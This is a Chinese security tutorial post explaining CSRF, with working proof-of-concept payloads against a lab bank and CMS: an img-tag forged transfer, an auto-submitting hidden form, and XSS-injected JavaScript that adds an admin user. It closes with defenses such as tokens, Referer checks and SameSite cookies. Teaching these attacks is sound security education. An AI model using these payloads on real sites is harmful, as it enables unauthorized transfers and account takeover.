渗透测试漏洞原理之---【CSRF跨站请求伪造】

文章目录

1、CSRF概述

1.1、基本原理

1.1.1、基本概念

跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。

CSRF,跨站域请求伪造,通常攻击者会伪造一个场景(例如一条链接),来诱使用户点击,用户一旦点击,黑客的攻击目的也就达到了,他可以盗用你的身份,以你的名义发送恶意请求。CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。

和XSS有什么不同?

CSRF是以用户的权限去做事情,自己本身并没有获取到权限;XSS是直接盗取了用户的权限进行攻击。

1.1.2、关键点
  • 受害者没有退出登录,受害者保持身份认证。
  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。
1.1.3、目标

CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

CSRF 的场景中,攻击者是没有办法获得服务器的响应。

1.2、CSRF场景

1.2.1、银行支付转账

模拟搭建银行网站http://192.168.80.139/bank/

1.2.2构造虚假网站

构造CSRF 攻击连接

html 复制代码
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.80.139/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='金陵十三钗'>
  • 攻击者通过 <img> 标签构造GET 请求。

  • 浏览器根据 <img> 标签中的SRC属性,请求服务器资源,会自动带上身份认证信息

1.2.3、场景建模

1.3、CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求,是不是就能够防御CSRF 漏洞了呢?

1.3.1、POST方式
html 复制代码
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.80.139/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

1.4、CSRF验证

1.4.1、CSRF PoC Generator

PoC:漏洞验证代码

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证

修改密码在浏览器中测试

点击Submit request后,密码就会被修改

2、CSRF攻防

2.1、CSRF实战

2.1.1、与XSS 漏洞相结合

先使用BurpSuite工具抓取添加用户的数据包,

apl 复制代码
POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.80.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://192.168.80.139
Connection: close
Referer: http://192.168.80.139/cms/admin/user.add.php?act=add
Cookie: username=admin; userid=1; PHPSESSID=87u2eq7ctm4468snmmg772vns7
Upgrade-Insecure-Requests: 1

act=add&username=zs&password=123&password2=123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

js 复制代码
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.80.139/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=zs&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

把JS代码提交都留言板上

使用管理员用户查看留言板信息,在点击留言板这个选项卡的时候就触发了XSS代码,进行了CSRF跨站攻击

然后使用修改后的密码,登录后台

2.2、CSRF防御

2.2.1、无效防御
  • 使用秘密的Cookie
  • 仅接收POST 请求
  • 多步交易:多步交易,有可能会被恶意攻击者预测
  • URL 重写:用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞
  • HTTPS:所有安全机制的前提
2.2.2、有效防御

1、验证Referer字段

  • 当前URL的上一个URL,就是该页面是从那个页面过来的
  • 转账页面到转账操作
  • 伪造?

2、添加Token验证

3、二次验证:在关键操作之前,再输入密码或者验证码

4、HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息

5、SameSite:Cookie 属性,浏览器自带安全机制

3、靶场练习

DVWA靶场CSRF练习

Pikachu靶场CSRF练习

相关推荐
加班是不可能的,除非双倍日工资2 小时前
css预编译器实现星空背景图
前端·css·vue3
wyiyiyi3 小时前
【Web后端】Django、flask及其场景——以构建系统原型为例
前端·数据库·后端·python·django·flask
gnip3 小时前
vite和webpack打包结构控制
前端·javascript
excel4 小时前
在二维 Canvas 中模拟三角形绕 X、Y 轴旋转
前端
阿华的代码王国4 小时前
【Android】RecyclerView复用CheckBox的异常状态
android·xml·java·前端·后端
一条上岸小咸鱼4 小时前
Kotlin 基本数据类型(三):Booleans、Characters
android·前端·kotlin
Jimmy4 小时前
AI 代理是什么,其有助于我们实现更智能编程
前端·后端·ai编程
ZXT4 小时前
promise & async await总结
前端
Jerry说前后端4 小时前
RecyclerView 性能优化:从原理到实践的深度优化方案
android·前端·性能优化
画个太阳作晴天4 小时前
A12预装app
linux·服务器·前端